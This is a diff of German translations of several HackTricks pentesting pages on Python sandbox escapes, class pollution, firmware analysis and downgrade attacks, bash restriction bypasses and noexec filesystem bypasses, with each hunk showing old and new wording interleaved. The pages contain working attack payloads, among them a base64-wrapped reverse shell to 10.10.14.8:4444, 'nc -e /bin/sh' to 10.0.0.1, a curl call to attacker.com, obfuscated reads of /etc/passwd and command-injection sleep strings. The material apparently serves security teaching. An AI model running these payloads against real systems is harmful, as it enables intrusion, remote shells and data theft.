> Im folgenden Beispiel werden wir alle Daten, die benötigt werden, um die Funktion direkt aus dem Funktionscodeobjekt zu rekreieren, entnehmen. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **Sie leaken müssen**.
> Im folgenden Beispiel werden wir alle Daten nehmen, die benötigt werden, um die Funktion direkt aus dem Funktions-Codeobjekt zu rekreieren. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **Sie leaken** müssen.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -982,10 +983,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
In den vorherigen Beispielen zu Beginn dieses Beitrags sehen Sie **wie man jeden Python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil man **ganze Skripte** mit Schleifen und allem in einer **einzeiligen Anweisung** ausführen kann (und wir könnten dasselbe mit **`exec`** tun).\
Wie auch immer, manchmal könnte es nützlich sein, ein **kompiliertes Objekt** auf einer lokalen Maschine zu **erstellen** und es auf der **CTF-Maschine** auszuführen (zum Beispiel, weil wir die `compiled`-Funktion in der CTF nicht haben).
In den vorherigen Beispielen zu Beginn dieses Beitrags kannst du sehen, **wie man jeden Python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil man **ganze Skripte** mit Schleifen und allem in einer **einzeiligen Anweisung** ausführen kann (und wir könnten dasselbe mit **`exec`** tun).\
Wie auch immer, manchmal könnte es nützlich sein, ein **kompiliertes Objekt** auf einer lokalen Maschine zu **erstellen** und es auf der **CTF-Maschine** auszuführen (zum Beispiel, weil wir die `compiled`-Funktion im CTF nicht haben).
Zum Beispiel, lassen Sie uns manuell eine Funktion kompilieren und ausführen, die _./poc.py_ liest:
Zum Beispiel, lass uns manuell eine Funktion kompilieren und ausführen, die _./poc.py_ liest:
```python
#Locally
def read():
@ -1022,10 +1023,11 @@ f(42)
```
## Decompiling Compiled Python
Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann man **dekompilieren** gegebenen kompilierten Python-Code.
Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann man gegebenen kompilierte Python-Code **dekompilieren**.
**Schau dir dieses Tutorial an**:
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
@ -1034,7 +1036,7 @@ Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann
### Assert
Python, das mit Optimierungen und dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeden Code, der von dem Wert **debug** abhängt.\
Python, das mit Optimierungen und dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeglichen Code, der vom Wert von **debug** abhängt.\
Daher sind Überprüfungen wie
```python
def check_permission(super_user):

View File

@ -4,7 +4,7 @@
## Grundlegendes Beispiel
Überprüfen Sie, wie es möglich ist, Klassen von Objekten mit Zeichenfolgen zu verschmutzen:
Überprüfen Sie, wie es möglich ist, Klassen von Objekten mit Strings zu verschmutzen:
```python
class Company: pass
class Developer(Company): pass
@ -65,7 +65,7 @@ print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
<details>
<summary>Erstellen eines Standardwerts für Klassenattribute zu RCE (subprocess)</summary>
<summary>Erstellen eines Standardwerts für Klassenattribute für RCE (subprocess)</summary>
```python
from os import popen
class Employee: pass # Creating an empty class
@ -225,13 +225,13 @@ execute() #> Executing echo Polluted
<summary>Überschreiben des Flask-Geheimnisses über Dateien hinweg</summary>
Wenn Sie also eine Klassenverschmutzung über ein Objekt durchführen können, das in der Haupt-Python-Datei des Webs definiert ist, aber **dessen Klasse in einer anderen Datei** als der Hauptdatei definiert ist. Denn um auf \_\_globals\_\_ in den vorherigen Payloads zuzugreifen, müssen Sie auf die Klasse des Objekts oder die Methoden der Klasse zugreifen, werden Sie in der Lage sein, **auf die Globals in dieser Datei zuzugreifen, aber nicht in der Hauptdatei**. \
Daher werden Sie **nicht in der Lage sein, auf das globale Flask-App-Objekt** zuzugreifen, das den **Geheimschlüssel** auf der Hauptseite definiert:
Wenn Sie also eine Klassenverschmutzung über ein Objekt durchführen können, das in der Haupt-Python-Datei der Webanwendung definiert ist, aber **dessen Klasse in einer anderen Datei** als der Hauptdatei definiert ist. Denn um auf \_\_globals\_\_ in den vorherigen Payloads zuzugreifen, müssen Sie auf die Klasse des Objekts oder die Methoden der Klasse zugreifen, werden Sie in der Lage sein, **auf die Globals in dieser Datei zuzugreifen, aber nicht in der Hauptdatei**. \
Daher **werden Sie nicht in der Lage sein, auf das globale Flask-App-Objekt** zuzugreifen, das den **Geheimschlüssel** auf der Hauptseite definiert hat:
```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
In diesem Szenario benötigen Sie ein Gadget, um Dateien zu durchlaufen, um auf das Hauptobjekt **`app.secret_key`** zuzugreifen, um den Flask-Geheimschlüssel zu ändern und in der Lage zu sein, [**Privilegien zu eskalieren**, indem Sie diesen Schlüssel kennen](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
In diesem Szenario benötigen Sie ein Gadget, um Dateien zu durchlaufen, um auf das Hauptobjekt zuzugreifen, um **auf das globale Objekt `app.secret_key`** zuzugreifen, um den Flask-Geheimschlüssel zu ändern und in der Lage zu sein, [**Privilegien zu eskalieren**, wenn Sie diesen Schlüssel kennen](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
Eine Payload wie diese [aus diesem Bericht](https://ctftime.org/writeup/36082):
```python

View File

@ -34,7 +34,7 @@ Der Erwerb von Firmware kann auf verschiedene Weise erfolgen, jede mit ihrem eig
- **Direkt** von der Quelle (Entwickler, Hersteller)
- **Bauen** aus bereitgestellten Anweisungen
- **Herunterladen** von offiziellen Support-Seiten
- Nutzung von **Google-Dork**-Abfragen zur Auffindung gehosteter Firmware-Dateien
- Nutzung von **Google-Dork**-Abfragen, um gehostete Firmware-Dateien zu finden
- Direkter Zugriff auf **Cloud-Speicher** mit Tools wie [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Abfangen von **Updates** über Man-in-the-Middle-Techniken
- **Extrahieren** vom Gerät über Verbindungen wie **UART**, **JTAG** oder **PICit**
@ -56,7 +56,7 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Wenn Sie mit diesen Tools nicht viel finden, überprüfen Sie die **Entropie** des Bildes mit `binwalk -E <bin>`. Wenn die Entropie niedrig ist, ist es unwahrscheinlich, dass es verschlüsselt ist. Bei hoher Entropie ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
Darüber hinaus können Sie diese Tools verwenden, um **Dateien, die in der Firmware eingebettet sind**, zu extrahieren:
Darüber hinaus können Sie diese Tools verwenden, um **Dateien, die im Firmware eingebettet sind**, zu extrahieren:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@ -117,9 +117,9 @@ Die Dateien befinden sich danach im Verzeichnis "`squashfs-root`".
`$ ubidump.py <bin>`
## Firmware-Analyse
## Firmware analysieren
Sobald die Firmware beschafft ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Werkzeuge zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
Sobald die Firmware beschafft ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Tools zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
### Werkzeuge zur ersten Analyse
@ -132,19 +132,19 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Eine niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während eine hohe Entropie auf mögliche Verschlüsselung oder Kompression hinweist.
Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während hohe Entropie auf mögliche Verschlüsselung oder Kompression hindeutet.
Für das Extrahieren von **eingebetteten Dateien** werden Werkzeuge und Ressourcen wie die **file-data-carving-recovery-tools** Dokumentation und **binvis.io** zur Dateiansicht empfohlen.
Für das Extrahieren von **eingebetteten Dateien** werden Werkzeuge und Ressourcen wie die Dokumentation zu **file-data-carving-recovery-tools** und **binvis.io** zur Dateiansicht empfohlen.
### Extrahieren des Dateisystems
Mit `binwalk -ev <bin>` kann man normalerweise das Dateisystem extrahieren, oft in ein Verzeichnis, das nach dem Dateisystemtyp benannt ist (z. B. squashfs, ubifs). Wenn **binwalk** jedoch den Dateisystemtyp aufgrund fehlender Magic Bytes nicht erkennt, ist eine manuelle Extraktion erforderlich. Dies beinhaltet die Verwendung von `binwalk`, um den Offset des Dateisystems zu lokalisieren, gefolgt vom `dd` Befehl, um das Dateisystem herauszuschneiden:
Mit `binwalk -ev <bin>` kann man normalerweise das Dateisystem extrahieren, oft in ein Verzeichnis, das nach dem Dateisystemtyp benannt ist (z. B. squashfs, ubifs). Wenn **binwalk** jedoch den Dateisystemtyp aufgrund fehlender Magic Bytes nicht erkennt, ist eine manuelle Extraktion erforderlich. Dies beinhaltet die Verwendung von `binwalk`, um den Offset des Dateisystems zu lokalisieren, gefolgt vom `dd`-Befehl, um das Dateisystem herauszuschneiden:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Danach, abhängig vom Dateisystemtyp (z. B. squashfs, cpio, jffs2, ubifs), werden verschiedene Befehle verwendet, um die Inhalte manuell zu extrahieren.
Danach werden je nach Dateisystemtyp (z. B. squashfs, cpio, jffs2, ubifs) verschiedene Befehle verwendet, um die Inhalte manuell zu extrahieren.
### Dateisystemanalyse
@ -153,7 +153,7 @@ Mit dem extrahierten Dateisystem beginnt die Suche nach Sicherheitsanfälligkeit
**Wichtige Standorte** und **Elemente**, die zu inspizieren sind, umfassen:
- **etc/shadow** und **etc/passwd** für Benutzeranmeldeinformationen
- SSL-Zertifikate und Schlüssel in **etc/ssl**
- SSL-Zertifikate und -Schlüssel in **etc/ssl**
- Konfigurations- und Skriptdateien auf potenzielle Schwachstellen
- Eingebettete Binärdateien für weitere Analysen
- Häufige IoT-Geräte-Webserver und Binärdateien
@ -170,7 +170,7 @@ Sowohl Quellcode als auch kompilierte Binärdateien, die im Dateisystem gefunden
## Emulation von Firmware für dynamische Analysen
Der Prozess der Emulation von Firmware ermöglicht die **dynamische Analyse** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
Der Prozess der Emulation von Firmware ermöglicht **dynamische Analysen** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
### Emulation einzelner Binärdateien
@ -200,11 +200,11 @@ Tools wie [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysi
In diesem Stadium wird entweder eine reale oder emulierte Geräteumgebung für die Analyse verwendet. Es ist wichtig, den Shell-Zugriff auf das Betriebssystem und das Dateisystem aufrechtzuerhalten. Die Emulation kann die Hardware-Interaktionen möglicherweise nicht perfekt nachahmen, was gelegentliche Neustarts der Emulation erforderlich macht. Die Analyse sollte das Dateisystem erneut überprüfen, exponierte Webseiten und Netzwerkdienste ausnutzen und Bootloader-Schwachstellen erkunden. Firmware-Integritätstests sind entscheidend, um potenzielle Backdoor-Schwachstellen zu identifizieren.
## Laufzeitanalyse-Techniken
## Laufzeitanalysetechniken
Die Laufzeitanalyse umfasst die Interaktion mit einem Prozess oder einer Binärdatei in ihrer Betriebsumgebung, wobei Tools wie gdb-multiarch, Frida und Ghidra verwendet werden, um Haltepunkte zu setzen und Schwachstellen durch Fuzzing und andere Techniken zu identifizieren.
## Binär-Exploitation und Proof-of-Concept
## Binärausnutzung und Proof-of-Concept
Die Entwicklung eines PoC für identifizierte Schwachstellen erfordert ein tiefes Verständnis der Zielarchitektur und Programmierung in niedrigeren Programmiersprachen. Binäre Laufzeitschutzmaßnahmen in eingebetteten Systemen sind selten, aber wenn sie vorhanden sind, können Techniken wie Return Oriented Programming (ROP) erforderlich sein.
@ -217,9 +217,9 @@ Betriebssysteme wie [AttifyOS](https://github.com/adi0x90/attifyos) und [EmbedOS
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen helfen soll, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Eingebettetes Sicherheitstestbetriebssystem basierend auf Ubuntu 18.04, vorinstalliert mit Tools für die Sicherheitstests von Firmware.
## Firmware-Downgrade-Angriffe & Unsichere Aktualisierungsmechanismen
## Firmware-Downgrade-Angriffe & unsichere Aktualisierungsmechanismen
Selbst wenn ein Anbieter kryptografische Signaturprüfungen für Firmware-Images implementiert, **wird der Schutz vor Versionsrücksetzungen (Downgrade) häufig weggelassen**. Wenn der Boot- oder Wiederherstellungs-Loader nur die Signatur mit einem eingebetteten öffentlichen Schlüssel überprüft, aber die *Version* (oder einen monotonen Zähler) des geflashten Images nicht vergleicht, kann ein Angreifer legitim eine **ältere, verwundbare Firmware installieren, die immer noch eine gültige Signatur trägt** und somit gepatchte Schwachstellen wieder einführen.
Selbst wenn ein Anbieter kryptografische Signaturprüfungen für Firmware-Images implementiert, **wird der Schutz vor Versionsrücksetzungen (Downgrade) häufig weggelassen**. Wenn der Boot- oder Wiederherstellungs-Loader nur die Signatur mit einem eingebetteten öffentlichen Schlüssel überprüft, aber die *Version* (oder einen monotonen Zähler) des geflashten Images nicht vergleicht, kann ein Angreifer legitim eine **ältere, anfällige Firmware installieren, die immer noch eine gültige Signatur trägt** und somit gepatchte Schwachstellen wieder einführen.
Typischer Angriffsablauf:
@ -227,9 +227,9 @@ Typischer Angriffsablauf:
* Laden Sie es von dem öffentlichen Download-Portal, CDN oder Support-Website des Anbieters herunter.
* Extrahieren Sie es aus begleitenden mobilen/desktopp Anwendungen (z. B. innerhalb einer Android-APK unter `assets/firmware/`).
* Holen Sie es aus Drittanbieter-Repositories wie VirusTotal, Internet-Archiven, Foren usw.
2. **Laden Sie das Image auf das Gerät hoch oder stellen Sie es bereit** über einen beliebigen exponierten Aktualisierungskanal:
2. **Laden Sie das Image auf das Gerät hoch oder stellen Sie es bereit** über jeden exponierten Aktualisierungskanal:
* Web-UI, mobile-App-API, USB, TFTP, MQTT usw.
* Viele Verbraucher-IoT-Geräte bieten *unauthentifizierte* HTTP(S)-Endpunkte, die Base64-kodierte Firmware-Blobs akzeptieren, diese serverseitig decodieren und die Wiederherstellung/Aktualisierung auslösen.
* Viele Verbraucher-IoT-Geräte bieten *unauthentifizierte* HTTP(S)-Endpunkte, die Base64-kodierte Firmware-Blobs akzeptieren, diese serverseitig dekodieren und die Wiederherstellung/Aktualisierung auslösen.
3. Nach dem Downgrade eine Schwachstelle ausnutzen, die in der neueren Version gepatcht wurde (zum Beispiel einen Befehlseinschleusungsfilter, der später hinzugefügt wurde).
4. Optional das neueste Image zurückflashen oder Updates deaktivieren, um eine Entdeckung zu vermeiden, sobald Persistenz erreicht ist.
@ -240,7 +240,7 @@ Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
Im anfälligen (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärmaßnahmen eingefügt, was die Injektion beliebiger Befehle ermöglicht (hier Aktivierung des SSH-Schlüssel-basierten Root-Zugriffs). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung bedeutungslos.
In der verwundbaren (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärung eingefügt, was die Injektion beliebiger Befehle ermöglicht (hier Aktivierung des SSH-Schlüssel-basierten Root-Zugriffs). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung bedeutungslos.
### Extrahieren von Firmware aus mobilen Apps
@ -254,11 +254,11 @@ firmware_v1.3.11.490_signed.bin
* Ist der Transport/Authentifizierung des *Update-Endpunkts* angemessen geschützt (TLS + Authentifizierung)?
* Vergleicht das Gerät **Versionsnummern** oder einen **monotonen Anti-Rollback-Zähler** vor dem Flashen?
* Wird das Image innerhalb einer sicheren Bootkette verifiziert (z. B. Signaturen, die vom ROM-Code überprüft werden)?
* Führt der Userland-Code zusätzliche Plausibilitätsprüfungen durch (z. B. erlaubte Partitionstabelle, Modellnummer)?
* Wird das Image innerhalb einer sicheren Boot-Kette verifiziert (z.B. Signaturen, die vom ROM-Code überprüft werden)?
* Führt der Userland-Code zusätzliche Plausibilitätsprüfungen durch (z.B. erlaubte Partitionstabelle, Modellnummer)?
* Nutzen *partielle* oder *Backup*-Update-Workflows die gleiche Validierungslogik?
> 💡 Wenn eines der oben genannten Punkte fehlt, ist die Plattform wahrscheinlich anfällig für Rollback-Angriffe.
> 💡 Wenn eines der oben genannten fehlt, ist die Plattform wahrscheinlich anfällig für Rollback-Angriffe.
## Verwundbare Firmware zum Üben
@ -283,7 +283,7 @@ Um das Entdecken von Schwachstellen in Firmware zu üben, verwenden Sie die folg
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
## Schulung und Zertifizierung
## Training und Zertifizierung
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

View File

@ -18,7 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass-Pfade und verbotene Wörter
### Umgehung von Pfaden und verbotenen Wörtern
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -114,7 +114,7 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypass mit Hex-Encoding
### Bypass mit Hex-Codierung
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -144,8 +144,8 @@ Sie könnten **burpcollab** oder [**pingb**](http://pingb.in) verwenden, zum Bei
### Builtins
Falls Sie keine externen Funktionen ausführen können und nur Zugriff auf eine **begrenzte Menge an Builtins haben, um RCE zu erhalten**, gibt es einige nützliche Tricks, um dies zu tun. Normalerweise **werden Sie nicht alle** der **Builtins verwenden können**, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Jail zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
Zuerst überprüfen Sie alle [**Shell Builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Hier sind einige **Empfehlungen**:
Falls Sie keine externen Funktionen ausführen können und nur Zugriff auf eine **begrenzte Menge an Builtins haben, um RCE zu erhalten**, gibt es einige nützliche Tricks, um dies zu tun. Normalerweise **werden Sie nicht alle** der **Builtins** verwenden können, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Jail zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
Zuerst überprüfen Sie alle [**Shell-Builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Hier sind einige **Empfehlungen**:
```bash
# Get list of builtins
declare builtins
@ -202,7 +202,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Umgehung potenzieller Regexes
### Umgehung potenzieller Regexe
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
@ -296,13 +296,15 @@ ln /f*
```
## Read-Only/Noexec/Distroless Bypass
Wenn Sie sich in einem Dateisystem mit **read-only und noexec Schutz** oder sogar in einem distroless Container befinden, gibt es dennoch Möglichkeiten, **willkürliche Binärdateien auszuführen, sogar eine Shell!:**
Wenn Sie sich in einem Dateisystem mit **read-only und noexec Schutzmaßnahmen** oder sogar in einem distroless Container befinden, gibt es dennoch Möglichkeiten, **willkürliche Binärdateien auszuführen, sogar eine Shell!:**
{{#ref}}
bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot & andere Jail Bypass
## Chroot & andere Jail-Bypässe
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
@ -310,9 +312,9 @@ bypass-fs-protections-read-only-no-exec-distroless/
## Space-Based Bash NOP Sled ("Bashsledding")
Wenn eine Schwachstelle es Ihnen ermöglicht, ein Argument teilweise zu kontrollieren, das letztendlich `system()` oder eine andere Shell erreicht, wissen Sie möglicherweise nicht den genauen Offset, an dem die Ausführung beginnt, Ihre Payload zu lesen. Traditionelle NOP-Sleds (z. B. `\x90`) funktionieren in der Shell-Syntax **nicht**, aber Bash ignoriert harmlos führende Leerzeichen, bevor ein Befehl ausgeführt wird.
Wenn eine Schwachstelle es Ihnen ermöglicht, ein Argument teilweise zu kontrollieren, das letztendlich `system()` oder eine andere Shell erreicht, wissen Sie möglicherweise nicht, an welcher genauen Offset-Ausführung Ihr Payload gelesen wird. Traditionelle NOP-Sleds (z. B. `\x90`) funktionieren in der Shell-Syntax **nicht**, aber Bash ignoriert harmlos führende Leerzeichen, bevor ein Befehl ausgeführt wird.
Daher können Sie ein *NOP sled für Bash* erstellen, indem Sie Ihren echten Befehl mit einer langen Folge von Leerzeichen oder Tabulatorzeichen voranstellen:
Daher können Sie einen *NOP sled für Bash* erstellen, indem Sie Ihren echten Befehl mit einer langen Folge von Leerzeichen oder Tabulatorzeichen voranstellen:
```bash
# Payload sprayed into an environment variable / NVRAM entry
" nc -e /bin/sh 10.0.0.1 4444"

View File

@ -1,4 +1,4 @@
# Umgehen von FS-Schutzmaßnahmen: schreibgeschützt / keine Ausführung / Distroless
# Bypass FS protections: read-only / no-exec / Distroless
{{#include ../../../banners/hacktricks-training.md}}
@ -9,9 +9,9 @@ In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken aus
- [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
- [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)
## schreibgeschütztes / keine Ausführung-Szenario
## read-only / no-exec scenario
Es ist immer häufiger anzutreffen, dass Linux-Maschinen mit **schreibgeschütztem (ro) Dateisystemschutz** gemountet werden, insbesondere in Containern. Das liegt daran, dass es so einfach ist, einen Container mit einem schreibgeschützten Dateisystem zu starten, indem man **`readOnlyRootFilesystem: true`** im `securitycontext` festlegt:
Es ist immer häufiger anzutreffen, dass Linux-Maschinen mit **read-only (ro) Dateisystemschutz** gemountet werden, insbesondere in Containern. Das liegt daran, dass es so einfach ist, einen Container mit ro Dateisystem zu betreiben, wie **`readOnlyRootFilesystem: true`** im `securitycontext` festzulegen:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -26,37 +26,37 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Allerdings wird, selbst wenn das Dateisystem als ro gemountet ist, **`/dev/shm`** weiterhin beschreibbar sein, sodass es falsch ist zu sagen, dass wir nichts auf die Festplatte schreiben können. Diese Ordner werden jedoch **mit no-exec-Schutz gemountet**, sodass Sie hier eine Binärdatei herunterladen können, aber **sie nicht ausführen können**.
Allerdings, selbst wenn das Dateisystem als ro gemountet ist, bleibt **`/dev/shm`** beschreibbar, sodass es nicht wahr ist, dass wir nichts auf die Festplatte schreiben können. Diese Ordner werden jedoch **mit no-exec-Schutz** gemountet, sodass Sie hier eine Binärdatei herunterladen, aber **sie nicht ausführen können**.
> [!WARNING]
> Aus der Perspektive eines Red Teams macht dies das **Herunterladen und Ausführen** von Binärdateien, die sich nicht bereits im System befinden (wie Backdoors oder Aufzähler wie `kubectl`), **kompliziert**.
> Aus der Perspektive eines Red Teams macht dies das **Herunterladen und Ausführen** von Binärdateien, die sich nicht bereits im System befinden (wie Backdoors oder Enumerator wie `kubectl`), **kompliziert**.
## Einfachster Umgehungsweg: Skripte
## Easiest bypass: Scripts
Beachten Sie, dass ich von Binärdateien gesprochen habe, Sie können **jedes Skript ausführen**, solange der Interpreter auf der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python**-Skript, wenn `python` installiert ist.
Beachten Sie, dass ich von Binärdateien gesprochen habe, Sie können **jedes Skript ausführen**, solange der Interpreter auf der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python** **Skript**, wenn `python` installiert ist.
Allerdings reicht das nicht aus, um Ihre Binär-Backdoor oder andere Binärwerkzeuge, die Sie möglicherweise ausführen müssen, zu starten.
Allerdings reicht das nicht aus, um Ihre Binär-Backdoor oder andere Binärwerkzeuge auszuführen, die Sie möglicherweise benötigen.
## Speicherumgehungen
## Memory Bypasses
Wenn Sie eine Binärdatei ausführen möchten, aber das Dateisystem dies nicht zulässt, ist der beste Weg, dies zu tun, indem Sie **sie aus dem Speicher ausführen**, da die **Schutzmaßnahmen dort nicht gelten**.
Wenn Sie eine Binärdatei ausführen möchten, aber das Dateisystem dies nicht zulässt, ist der beste Weg, dies zu tun, indem Sie **es aus dem Speicher ausführen**, da die **Schutzmaßnahmen dort nicht gelten**.
### FD + exec syscall Umgehung
### FD + exec syscall bypass
Wenn Sie einige leistungsstarke Skript-Engines auf der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei herunterladen, um sie aus dem Speicher auszuführen, sie in einem Speicher-Dateideskriptor (`create_memfd` syscall) speichern, der nicht durch diese Schutzmaßnahmen geschützt ist, und dann einen **`exec` syscall** aufrufen, der den **fd als die auszuführende Datei angibt**.
Dafür können Sie leicht das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache generiert, das die **Binärdatei komprimiert und b64 kodiert** mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem **fd**, das durch den Aufruf des `create_memfd` syscalls erstellt wurde, und einem Aufruf des **exec** syscalls, um es auszuführen.
Dafür können Sie leicht das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache generiert, das die **Binärdatei komprimiert und b64 kodiert** mit den Anweisungen, um **es zu dekodieren und zu dekomprimieren** in einem **fd**, der durch den Aufruf des `create_memfd` syscalls erstellt wurde, und einem Aufruf des **exec** syscalls, um es auszuführen.
> [!WARNING]
> Dies funktioniert nicht in anderen Skriptsprache wie PHP oder Node, da sie keine **Standardmethode haben, um rohe syscalls** aus einem Skript aufzurufen, sodass es nicht möglich ist, `create_memfd` aufzurufen, um den **Speicher fd** zu erstellen, um die Binärdatei zu speichern.
> Dies funktioniert nicht in anderen Skriptsprache wie PHP oder Node, da sie keine **Standardmethode haben, um rohe Syscalls** aus einem Skript aufzurufen, sodass es nicht möglich ist, `create_memfd` aufzurufen, um den **Speicher-fd** zu erstellen, um die Binärdatei zu speichern.
>
> Darüber hinaus wird das Erstellen eines **regulären fd** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie es nicht ausführen dürfen, da der **no-exec-Schutz** gilt.
> Darüber hinaus funktioniert das Erstellen eines **regulären fds** mit einer Datei in `/dev/shm` nicht, da Sie es nicht ausführen dürfen, da der **no-exec-Schutz** gilt.
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ist eine Technik, die es Ihnen ermöglicht, **den Speicher Ihres eigenen Prozesses zu modifizieren**, indem Sie dessen **`/proc/self/mem`** überschreiben.
Daher können Sie, indem Sie **den Assembly-Code** kontrollieren, der vom Prozess ausgeführt wird, einen **Shellcode** schreiben und den Prozess "mutieren", um **beliebigen Code auszuführen**.
Daher können Sie, indem Sie **den Assembly-Code** steuern, der vom Prozess ausgeführt wird, einen **Shellcode** schreiben und den Prozess "mutieren", um **beliebigen Code auszuführen**.
> [!TIP]
